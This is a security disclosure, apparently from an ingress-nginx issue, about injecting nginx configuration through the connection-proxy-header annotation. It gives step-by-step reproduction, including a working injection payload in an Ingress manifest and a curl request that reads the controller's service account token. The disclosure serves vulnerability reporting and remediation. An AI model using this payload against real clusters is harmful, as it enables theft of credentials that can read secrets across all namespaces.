Reference: https://github.com/kubernetes/ingress-nginx/issues/8503

An attacker with permission to create/modify ingresses in one namespace can inject content into the connection-proxy-header annotation and read arbitrary files from the ingress controller (including the service account). This service account has permission to read secrets in all namespaces.

This vulnerability is an extension of CVE-2021-25742, which used the “snippet” feature of ingress-nginx to include arbitrary nginx snippets in one of the following fields:

nginx.ingress.kubernetes.io/configuration-snippet
nginx.ingress.kubernetes.io/server-snippet
nginx.ingress.kubernetes.io/modsecurity-snippet
nginx.ingress.kubernetes.io/auth-snippet

However, there are other annotations (e.g. nginx.ingress.kubernetes.io/connection-proxy-header) that can be abused to inject data into the config due to a lack of quoting/validation. Using this annotation, we can inject an arbitrary nginx location block that provides full access to the pod filesystem, leaking the pod service account token.

To replicate, use the following steps:

  1. Create a k8s cluster, for example:
minikube start
  1. Deploy ingress-nginx
kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.0.4/deploy/static/provider/cloud/deploy.yaml
  1. Deploy a malicious gateway with injection in the connection-proxy-header annotation
cat <<EOF | kubectl apply -f -
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: ingress-exploit
  annotations:
    kubernetes.io/ingress.class: "nginx"
    nginx.ingress.kubernetes.io/connection-proxy-header: "a;} location /fs/ { alias /; autoindex on; } location /proxy { set \$a b"
spec:
  rules:
  - host: exploit.example.org
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: exploit
            port:
              number: 80
EOF
  1. Look up the IP address of the ingress
INGRESS=$(kubectl -n ingress-nginx get svc ingress-nginx-controller -o=jsonpath='{.status.loadBalancer.ingress[0].ip}')
  1. Send a GET request to the malicious gateway to read arbitrary files from the nginx deployment
curl -v -H 'Host: exploit.example.org' "$INGRESS/fs/var/run/secrets/kubernetes.io/serviceaccount/token"